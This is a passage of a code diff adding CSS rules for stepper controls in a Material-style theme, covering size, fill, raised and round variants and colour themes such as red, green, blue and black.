.stepper-button-plus.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .stepper-button:first-child, +.md .stepper-button-minus:first-child, +.md .stepper-button-plus:first-child { + border-radius: 0 4px 4px 0; +} +.md .stepper-button:last-child, +.md .stepper-button-minus:last-child, +.md .stepper-button-plus:last-child { + border-radius: 4px 0 0 4px; +} +.md .stepper-button-plus:after, +.md .stepper-button-minus:after, +.md .stepper-button-plus:before, +.md .stepper-button-minus:before { + background: #2196f3; +} +.md .stepper-value, +.md .stepper-input-wrap { + border-top: 2px solid #2196f3; + border-bottom: 2px solid #2196f3; +} +.md .stepper .stepper-value, +.md .stepper .stepper-input-wrap input { + color: #2196f3; + font-size: 14px; + font-weight: 500; + text-align: center; +} +.md .stepper .stepper-input-wrap input { + height: 100%; +} +.md .stepper-fill .stepper-button, +.md .stepper-fill-md .stepper-button, +.md .stepper-fill .stepper-button-minus, +.md .stepper-fill-md .stepper-button-minus, +.md .stepper-fill .stepper-button-plus, +.md .stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; + border: none; + line-height: 36px; +} +.md .stepper-fill .stepper-button.active-state, +.md .stepper-fill-md .stepper-button.active-state, +.md .stepper-fill .stepper-button-minus.active-state, +.md .stepper-fill-md .stepper-button-minus.active-state, +.md .stepper-fill .stepper-button-plus.active-state, +.md .stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .stepper-fill .stepper-button:after, +.md .stepper-fill-md .stepper-button:after, +.md .stepper-fill .stepper-button-minus:after, +.md .stepper-fill-md .stepper-button-minus:after, +.md .stepper-fill .stepper-button-plus:after, +.md .stepper-fill-md .stepper-button-plus:after, +.md .stepper-fill .stepper-button:before, +.md .stepper-fill-md .stepper-button:before, +.md .stepper-fill .stepper-button-minus:before, +.md .stepper-fill-md .stepper-button-minus:before, +.md .stepper-fill .stepper-button-plus:before, +.md .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper-fill .stepper-button + .stepper-button, +.md .stepper-fill-md .stepper-button + .stepper-button, +.md .stepper-fill .stepper-button-minus + .stepper-button-plus, +.md .stepper-fill-md .stepper-button-minus + .stepper-button-plus { + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .stepper-fill.stepper-big .stepper-button, +.md .stepper-fill-md.stepper-big .stepper-button, +.md .stepper-fill.stepper-big-md .stepper-button, +.md .stepper-fill-md.stepper-big-md .stepper-button, +.md .stepper-fill.stepper-big .stepper-button-minus, +.md .stepper-fill-md.stepper-big .stepper-button-minus, +.md .stepper-fill.stepper-big-md .stepper-button-minus, +.md .stepper-fill-md.stepper-big-md .stepper-button-minus, +.md .stepper-fill.stepper-big .stepper-button-plus, +.md .stepper-fill-md.stepper-big .stepper-button-plus, +.md .stepper-fill.stepper-big-md .stepper-button-plus, +.md .stepper-fill-md.stepper-big-md .stepper-button-plus { + line-height: 48px; +} +.md .stepper-fill.stepper-small .stepper-button, +.md .stepper-fill-md.stepper-small .stepper-button, +.md .stepper-fill.stepper-small-md .stepper-button, +.md .stepper-fill-md.stepper-small-md .stepper-button, +.md .stepper-fill.stepper-small .stepper-button-minus, +.md .stepper-fill-md.stepper-small .stepper-button-minus, +.md .stepper-fill.stepper-small-md .stepper-button-minus, +.md .stepper-fill-md.stepper-small-md .stepper-button-minus, +.md .stepper-fill.stepper-small .stepper-button-plus, +.md .stepper-fill-md.stepper-small .stepper-button-plus, +.md .stepper-fill.stepper-small-md .stepper-button-plus, +.md .stepper-fill-md.stepper-small-md .stepper-button-plus { + line-height: 28px; +} +.md .stepper-small, +.md .stepper-small-md { + height: 28px; +} +.md .stepper-small .stepper-button, +.md .stepper-small-md .stepper-button, +.md .stepper-small .stepper-button-minus, +.md .stepper-small-md .stepper-button-minus, +.md .stepper-small .stepper-button-plus, +.md .stepper-small-md .stepper-button-plus { + height: 28px; + line-height: 24px; +} +.md .stepper-small .stepper-button, +.md .stepper-small-md .stepper-button, +.md .stepper-small .stepper-button-minus, +.md .stepper-small-md .stepper-button-minus, +.md .stepper-small .stepper-button-plus, +.md .stepper-small-md .stepper-button-plus, +.md .stepper-small .stepper-input-wrap, +.md .stepper-small-md .stepper-input-wrap, +.md .stepper-small .stepper-value, +.md .stepper-small-md .stepper-value { + border-width: 2px; +} +.md .stepper-big, +.md .stepper-big-md { + height: 48px; +} +.md .stepper-big .stepper-button, +.md .stepper-big-md .stepper-button, +.md .stepper-big .stepper-button-minus, +.md .stepper-big-md .stepper-button-minus, +.md .stepper-big .stepper-button-plus, +.md .stepper-big-md .stepper-button-plus { + height: 48px; + line-height: 46px; +} +.md .stepper-big .stepper-button:first-child, +.md .stepper-big-md .stepper-button:first-child, +.md .stepper-big .stepper-button-minus:first-child, +.md .stepper-big-md .stepper-button-minus:first-child, +.md .stepper-big .stepper-button-plus:first-child, +.md .stepper-big-md .stepper-button-plus:first-child { + border-radius: 0 4px 4px 0; +} +.md .stepper-big .stepper-button:last-child, +.md .stepper-big-md .stepper-button:last-child, +.md .stepper-big .stepper-button-minus:last-child, +.md .stepper-big-md .stepper-button-minus:last-child, +.md .stepper-big .stepper-button-plus:last-child, +.md .stepper-big-md .stepper-button-plus:last-child { + border-radius: 4px 0 0 4px; +} +.md .stepper-round .stepper-button:first-child, +.md .stepper-round-md .stepper-button:first-child, +.md .stepper-round .stepper-button-minus:first-child, +.md .stepper-round-md .stepper-button-minus:first-child, +.md .stepper-round .stepper-button-plus:first-child, +.md .stepper-round-md .stepper-button-plus:first-child { + border-radius: 0 36px 36px 0; +} +.md .stepper-round .stepper-button:last-child, +.md .stepper-round-md .stepper-button:last-child, +.md .stepper-round .stepper-button-minus:last-child, +.md .stepper-round-md .stepper-button-minus:last-child, +.md .stepper-round .stepper-button-plus:last-child, +.md .stepper-round-md .stepper-button-plus:last-child { + border-radius: 36px 0 0 36px; +} +.md .stepper-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + border-radius: 4px; +} +.md .stepper-raised.stepper-big, +.md .stepper-raised.stepper-big-md { + border-radius: 4px; +} +.md .stepper-raised.stepper-round, +.md .stepper-raised.stepper-round-md { + border-radius: 36px; +} +.md .stepper-raised .stepper-value, +.md .stepper-raised .stepper-input-wrap { + border: none; +} +.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-input-wrap, +.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-value { + border-left: 1px solid rgba(0, 0, 0, 0.1); + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .stepper-raised .stepper-button, +.md .stepper-raised .stepper-button-minus, +.md .stepper-raised .stepper-button-plus { + border: none; +} +.md .stepper-raised .stepper-button + .stepper-button, +.md .stepper-raised .stepper-button-minus + .stepper-button-plus { + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .color-theme-red .stepper-button, +.md .color-theme-red .stepper-button-minus, +.md .color-theme-red .stepper-button-plus { + border-color: #f44336; + color: #f44336; +} +.md .color-theme-red .stepper-button-plus:after, +.md .color-theme-red .stepper-button-minus:after, +.md .color-theme-red .stepper-button-plus:before, +.md .color-theme-red .stepper-button-minus:before { + background: #f44336; +} +.md .color-theme-red .stepper-value, +.md .color-theme-red .stepper-input-wrap { + border-top-color: #f44336; + border-bottom-color: #f44336; +} +.md .color-theme-red .stepper-value { + color: #f44336; +} +.md .color-theme-red .stepper .stepper-input-wrap input { + color: #f44336; +} +.md .color-theme-red .stepper-fill .stepper-button, +.md .color-theme-red .stepper-fill-md .stepper-button, +.md .color-theme-red .stepper-fill .stepper-button-minus, +.md .color-theme-red .stepper-fill-md .stepper-button-minus, +.md .color-theme-red .stepper-fill .stepper-button-plus, +.md .color-theme-red .stepper-fill-md .stepper-button-plus { + background-color: #f44336; + color: #fff; +} +.md .color-theme-red .stepper-fill .stepper-button.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button.active-state, +.md .color-theme-red .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-red .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button-plus.active-state { + background: #f21f0f; +} +.md .color-theme-red .stepper-fill .stepper-button:after, +.md .color-theme-red .stepper-fill-md .stepper-button:after, +.md .color-theme-red .stepper-fill .stepper-button-minus:after, +.md .color-theme-red .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-red .stepper-fill .stepper-button-plus:after, +.md .color-theme-red .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-red .stepper-fill .stepper-button:before, +.md .color-theme-red .stepper-fill-md .stepper-button:before, +.md .color-theme-red .stepper-fill .stepper-button-minus:before, +.md .color-theme-red .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-red .stepper-fill .stepper-button-plus:before, +.md .color-theme-red .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-green .stepper-button, +.md .color-theme-green .stepper-button-minus, +.md .color-theme-green .stepper-button-plus { + border-color: #4caf50; + color: #4caf50; +} +.md .color-theme-green .stepper-button-plus:after, +.md .color-theme-green .stepper-button-minus:after, +.md .color-theme-green .stepper-button-plus:before, +.md .color-theme-green .stepper-button-minus:before { + background: #4caf50; +} +.md .color-theme-green .stepper-value, +.md .color-theme-green .stepper-input-wrap { + border-top-color: #4caf50; + border-bottom-color: #4caf50; +} +.md .color-theme-green .stepper-value { + color: #4caf50; +} +.md .color-theme-green .stepper .stepper-input-wrap input { + color: #4caf50; +} +.md .color-theme-green .stepper-fill .stepper-button, +.md .color-theme-green .stepper-fill-md .stepper-button, +.md .color-theme-green .stepper-fill .stepper-button-minus, +.md .color-theme-green .stepper-fill-md .stepper-button-minus, +.md .color-theme-green .stepper-fill .stepper-button-plus, +.md .color-theme-green .stepper-fill-md .stepper-button-plus { + background-color: #4caf50; + color: #fff; +} +.md .color-theme-green .stepper-fill .stepper-button.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button.active-state, +.md .color-theme-green .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-green .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button-plus.active-state { + background: #409343; +} +.md .color-theme-green .stepper-fill .stepper-button:after, +.md .color-theme-green .stepper-fill-md .stepper-button:after, +.md .color-theme-green .stepper-fill .stepper-button-minus:after, +.md .color-theme-green .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-green .stepper-fill .stepper-button-plus:after, +.md .color-theme-green .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-green .stepper-fill .stepper-button:before, +.md .color-theme-green .stepper-fill-md .stepper-button:before, +.md .color-theme-green .stepper-fill .stepper-button-minus:before, +.md .color-theme-green .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-green .stepper-fill .stepper-button-plus:before, +.md .color-theme-green .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-blue .stepper-button, +.md .color-theme-blue .stepper-button-minus, +.md .color-theme-blue .stepper-button-plus { + border-color: #2196f3; + color: #2196f3; +} +.md .color-theme-blue .stepper-button-plus:after, +.md .color-theme-blue .stepper-button-minus:after, +.md .color-theme-blue .stepper-button-plus:before, +.md .color-theme-blue .stepper-button-minus:before { + background: #2196f3; +} +.md .color-theme-blue .stepper-value, +.md .color-theme-blue .stepper-input-wrap { + border-top-color: #2196f3; + border-bottom-color: #2196f3; +} +.md .color-theme-blue .stepper-value { + color: #2196f3; +} +.md .color-theme-blue .stepper .stepper-input-wrap input { + color: #2196f3; +} +.md .color-theme-blue .stepper-fill .stepper-button, +.md .color-theme-blue .stepper-fill-md .stepper-button, +.md .color-theme-blue .stepper-fill .stepper-button-minus, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus, +.md .color-theme-blue .stepper-fill .stepper-button-plus, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; +} +.md .color-theme-blue .stepper-fill .stepper-button.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button.active-state, +.md .color-theme-blue .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-blue .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .color-theme-blue .stepper-fill .stepper-button:after, +.md .color-theme-blue .stepper-fill-md .stepper-button:after, +.md .color-theme-blue .stepper-fill .stepper-button-minus:after, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-blue .stepper-fill .stepper-button-plus:after, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-blue .stepper-fill .stepper-button:before, +.md .color-theme-blue .stepper-fill-md .stepper-button:before, +.md .color-theme-blue .stepper-fill .stepper-button-minus:before, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-blue .stepper-fill .stepper-button-plus:before, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-pink .stepper-button, +.md .color-theme-pink .stepper-button-minus, +.md .color-theme-pink .stepper-button-plus { + border-color: #e91e63; + color: #e91e63; +} +.md .color-theme-pink .stepper-button-plus:after, +.md .color-theme-pink .stepper-button-minus:after, +.md .color-theme-pink .stepper-button-plus:before, +.md .color-theme-pink .stepper-button-minus:before { + background: #e91e63; +} +.md .color-theme-pink .stepper-value, +.md .color-theme-pink .stepper-input-wrap { + border-top-color: #e91e63; + border-bottom-color: #e91e63; +} +.md .color-theme-pink .stepper-value { + color: #e91e63; +} +.md .color-theme-pink .stepper .stepper-input-wrap input { + color: #e91e63; +} +.md .color-theme-pink .stepper-fill .stepper-button, +.md .color-theme-pink .stepper-fill-md .stepper-button, +.md .color-theme-pink .stepper-fill .stepper-button-minus, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus, +.md .color-theme-pink .stepper-fill .stepper-button-plus, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus { + background-color: #e91e63; + color: #fff; +} +.md .color-theme-pink .stepper-fill .stepper-button.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button.active-state, +.md .color-theme-pink .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-pink .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus.active-state { + background: #ca1452; +} +.md .color-theme-pink .stepper-fill .stepper-button:after, +.md .color-theme-pink .stepper-fill-md .stepper-button:after, +.md .color-theme-pink .stepper-fill .stepper-button-minus:after, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-pink .stepper-fill .stepper-button-plus:after, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-pink .stepper-fill .stepper-button:before, +.md .color-theme-pink .stepper-fill-md .stepper-button:before, +.md .color-theme-pink .stepper-fill .stepper-button-minus:before, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-pink .stepper-fill .stepper-button-plus:before, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-yellow .stepper-button, +.md .color-theme-yellow .stepper-button-minus, +.md .color-theme-yellow .stepper-button-plus { + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .color-theme-yellow .stepper-button-plus:after, +.md .color-theme-yellow .stepper-button-minus:after, +.md .color-theme-yellow .stepper-button-plus:before, +.md .color-theme-yellow .stepper-button-minus:before { + background: #ffeb3b; +} +.md .color-theme-yellow .stepper-value, +.md .color-theme-yellow .stepper-input-wrap { + border-top-color: #ffeb3b; + border-bottom-color: #ffeb3b; +} +.md .color-theme-yellow .stepper-value { + color: #ffeb3b; +} +.md .color-theme-yellow .stepper .stepper-input-wrap input { + color: #ffeb3b; +} +.md .color-theme-yellow .stepper-fill .stepper-button, +.md .color-theme-yellow .stepper-fill-md .stepper-button, +.md .color-theme-yellow .stepper-fill .stepper-button-minus, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus, +.md .color-theme-yellow .stepper-fill .stepper-button-plus, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus { + background-color: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .stepper-fill .stepper-button.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button.active-state, +.md .color-theme-yellow .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-yellow .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus.active-state { + background: #ffe712; +} +.md .color-theme-yellow .stepper-fill .stepper-button:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button:after, +.md .color-theme-yellow .stepper-fill .stepper-button-minus:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-yellow .stepper-fill .stepper-button-plus:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-yellow .stepper-fill .stepper-button:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button:before, +.md .color-theme-yellow .stepper-fill .stepper-button-minus:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-yellow .stepper-fill .stepper-button-plus:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-orange .stepper-button, +.md .color-theme-orange .stepper-button-minus, +.md .color-theme-orange .stepper-button-plus { + border-color: #ff9800; + color: #ff9800; +} +.md .color-theme-orange .stepper-button-plus:after, +.md .color-theme-orange .stepper-button-minus:after, +.md .color-theme-orange .stepper-button-plus:before, +.md .color-theme-orange .stepper-button-minus:before { + background: #ff9800; +} +.md .color-theme-orange .stepper-value, +.md .color-theme-orange .stepper-input-wrap { + border-top-color: #ff9800; + border-bottom-color: #ff9800; +} +.md .color-theme-orange .stepper-value { + color: #ff9800; +} +.md .color-theme-orange .stepper .stepper-input-wrap input { + color: #ff9800; +} +.md .color-theme-orange .stepper-fill .stepper-button, +.md .color-theme-orange .stepper-fill-md .stepper-button, +.md .color-theme-orange .stepper-fill .stepper-button-minus, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus, +.md .color-theme-orange .stepper-fill .stepper-button-plus, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus { + background-color: #ff9800; + color: #fff; +} +.md .color-theme-orange .stepper-fill .stepper-button.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button.active-state, +.md .color-theme-orange .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-orange .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus.active-state { + background: #d68000; +} +.md .color-theme-orange .stepper-fill .stepper-button:after, +.md .color-theme-orange .stepper-fill-md .stepper-button:after, +.md .color-theme-orange .stepper-fill .stepper-button-minus:after, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-orange .stepper-fill .stepper-button-plus:after, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-orange .stepper-fill .stepper-button:before, +.md .color-theme-orange .stepper-fill-md .stepper-button:before, +.md .color-theme-orange .stepper-fill .stepper-button-minus:before, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-orange .stepper-fill .stepper-button-plus:before, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-gray .stepper-button, +.md .color-theme-gray .stepper-button-minus, +.md .color-theme-gray .stepper-button-plus { + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .color-theme-gray .stepper-button-plus:after, +.md .color-theme-gray .stepper-button-minus:after, +.md .color-theme-gray .stepper-button-plus:before, +.md .color-theme-gray .stepper-button-minus:before { + background: #9e9e9e; +} +.md .color-theme-gray .stepper-value, +.md .color-theme-gray .stepper-input-wrap { + border-top-color: #9e9e9e; + border-bottom-color: #9e9e9e; +} +.md .color-theme-gray .stepper-value { + color: #9e9e9e; +} +.md .color-theme-gray .stepper .stepper-input-wrap input { + color: #9e9e9e; +} +.md .color-theme-gray .stepper-fill .stepper-button, +.md .color-theme-gray .stepper-fill-md .stepper-button, +.md .color-theme-gray .stepper-fill .stepper-button-minus, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus, +.md .color-theme-gray .stepper-fill .stepper-button-plus, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus { + background-color: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .stepper-fill .stepper-button.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button.active-state, +.md .color-theme-gray .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-gray .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .stepper-fill .stepper-button:after, +.md .color-theme-gray .stepper-fill-md .stepper-button:after, +.md .color-theme-gray .stepper-fill .stepper-button-minus:after, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-gray .stepper-fill .stepper-button-plus:after, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-gray .stepper-fill .stepper-button:before, +.md .color-theme-gray .stepper-fill-md .stepper-button:before, +.md .color-theme-gray .stepper-fill .stepper-button-minus:before, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-gray .stepper-fill .stepper-button-plus:before, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-white .stepper-button, +.md .color-theme-white .stepper-button-minus, +.md .color-theme-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.md .color-theme-white .stepper-button-plus:after, +.md .color-theme-white .stepper-button-minus:after, +.md .color-theme-white .stepper-button-plus:before, +.md .color-theme-white .stepper-button-minus:before { + background: #ffffff; +} +.md .color-theme-white .stepper-value, +.md .color-theme-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.md .color-theme-white .stepper-value { + color: #ffffff; +} +.md .color-theme-white .stepper .stepper-input-wrap input { + color: #ffffff; +} +.md .color-theme-white .stepper-fill .stepper-button, +.md .color-theme-white .stepper-fill-md .stepper-button, +.md .color-theme-white .stepper-fill .stepper-button-minus, +.md .color-theme-white .stepper-fill-md .stepper-button-minus, +.md .color-theme-white .stepper-fill .stepper-button-plus, +.md .color-theme-white .stepper-fill-md .stepper-button-plus { + background-color: #ffffff; + color: #fff; +} +.md .color-theme-white .stepper-fill .stepper-button.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button.active-state, +.md .color-theme-white .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-white .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button-plus.active-state { + background: #ebebeb; +} +.md .color-theme-white .stepper-fill .stepper-button:after, +.md .color-theme-white .stepper-fill-md .stepper-button:after, +.md .color-theme-white .stepper-fill .stepper-button-minus:after, +.md .color-theme-white .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-white .stepper-fill .stepper-button-plus:after, +.md .color-theme-white .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-white .stepper-fill .stepper-button:before, +.md .color-theme-white .stepper-fill-md .stepper-button:before, +.md .color-theme-white .stepper-fill .stepper-button-minus:before, +.md .color-theme-white .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-white .stepper-fill .stepper-button-plus:before, +.md .color-theme-white .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-black .stepper-button, +.md .color-theme-black .stepper-button-minus, +.md .color-theme-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.md .color-theme-black .stepper-button-plus:after, +.md .color-theme-black .stepper-button-minus:after, +.md .color-theme-black .stepper-button-plus:before, +.md .color-theme-black .stepper-button-minus:before { + background: #000000; +} +.md .color-theme-black .stepper-value, +.md .color-theme-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.md .color-theme-black .stepper-value { + color: #000000; +} +.md .color-theme-black .stepper .stepper-input-wrap input { + color: #000000; +} +.md .color-theme-black .stepper-fill .stepper-button, +.md .color-theme-black .stepper-fill-md .stepper-button, +.md .color-theme-black .stepper-fill .stepper-button-minus, +.md .color-theme-black .stepper-fill-md .stepper-button-minus, +.md .color-theme-black .stepper-fill .stepper-button-plus, +.md .color-theme-black .stepper-fill-md .stepper-button-plus { + background-color: #000000; + color: #fff; +} +.md .color-theme-black .stepper-fill .stepper-button.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button.active-state, +.md .color-theme-black .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-black .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button-plus.active-state { + background: #000000; +} +.md .color-theme-black .stepper-fill .stepper-button:after, +.md .color-theme-black .stepper-fill-md .stepper-button:after, +.md .color-theme-black .stepper-fill .stepper-button-minus:after, +.md .color-theme-black .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-black .stepper-fill .stepper-button-plus:after, +.md .color-theme-black .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-black .stepper-fill .stepper-button:before, +.md .color-theme-black .stepper-fill-md .stepper-button:before, +.md .color-theme-black .stepper-fill .stepper-button-minus:before, +.md .color-theme-black .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-black .stepper-fill .stepper-button-plus:before, +.md .color-theme-black .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-red .stepper-button, +.md .stepper.color-red .stepper-button-minus, +.md .stepper.color-red .stepper-button-plus { + border-color: #f44336; + color: #f44336; +} +.md .stepper.color-red .stepper-button-plus:after, +.md .stepper.color-red .stepper-button-minus:after, +.md .stepper.color-red .stepper-button-plus:before, +.md .stepper.color-red .stepper-button-minus:before { + background: #f44336; +} +.md .stepper.color-red .stepper-value, +.md .stepper.color-red .stepper-input-wrap { + border-top-color: #f44336; + border-bottom-color: #f44336; +} +.md .stepper.color-red .stepper-value { + color: #f44336; +} +.md .stepper.color-red .stepper-input-wrap input { + color: #f44336; +} +.md .stepper.color-red.stepper-fill .stepper-button, +.md .stepper.color-red.stepper-fill-md .stepper-button, +.md .stepper.color-red.stepper-fill .stepper-button-minus, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus, +.md .stepper.color-red.stepper-fill .stepper-button-plus, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus { + background-color: #f44336; + color: #fff; +} +.md .stepper.color-red.stepper-fill .stepper-button.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-red.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-red.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus.active-state { + background: #f21f0f; +} +.md .stepper.color-red.stepper-fill .stepper-button:after, +.md .stepper.color-red.stepper-fill-md .stepper-button:after, +.md .stepper.color-red.stepper-fill .stepper-button-minus:after, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-red.stepper-fill .stepper-button-plus:after, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-red.stepper-fill .stepper-button:before, +.md .stepper.color-red.stepper-fill-md .stepper-button:before, +.md .stepper.color-red.stepper-fill .stepper-button-minus:before, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-red.stepper-fill .stepper-button-plus:before, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-green .stepper-button, +.md .stepper.color-green .stepper-button-minus, +.md .stepper.color-green .stepper-button-plus { + border-color: #4caf50; + color: #4caf50; +} +.md .stepper.color-green .stepper-button-plus:after, +.md .stepper.color-green .stepper-button-minus:after, +.md .stepper.color-green .stepper-button-plus:before, +.md .stepper.color-green .stepper-button-minus:before { + background: #4caf50; +} +.md .stepper.color-green .stepper-value, +.md .stepper.color-green .stepper-input-wrap { + border-top-color: #4caf50; + border-bottom-color: #4caf50; +} +.md .stepper.color-green .stepper-value { + color: #4caf50; +} +.md .stepper.color-green .stepper-input-wrap input { + color: #4caf50; +} +.md .stepper.color-green.stepper-fill .stepper-button, +.md .stepper.color-green.stepper-fill-md .stepper-button, +.md .stepper.color-green.stepper-fill .stepper-button-minus, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus, +.md .stepper.color-green.stepper-fill .stepper-button-plus, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus { + background-color: #4caf50; + color: #fff; +} +.md .stepper.color-green.stepper-fill .stepper-button.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-green.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-green.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus.active-state { + background: #409343; +} +.md .stepper.color-green.stepper-fill .stepper-button:after, +.md .stepper.color-green.stepper-fill-md .stepper-button:after, +.md 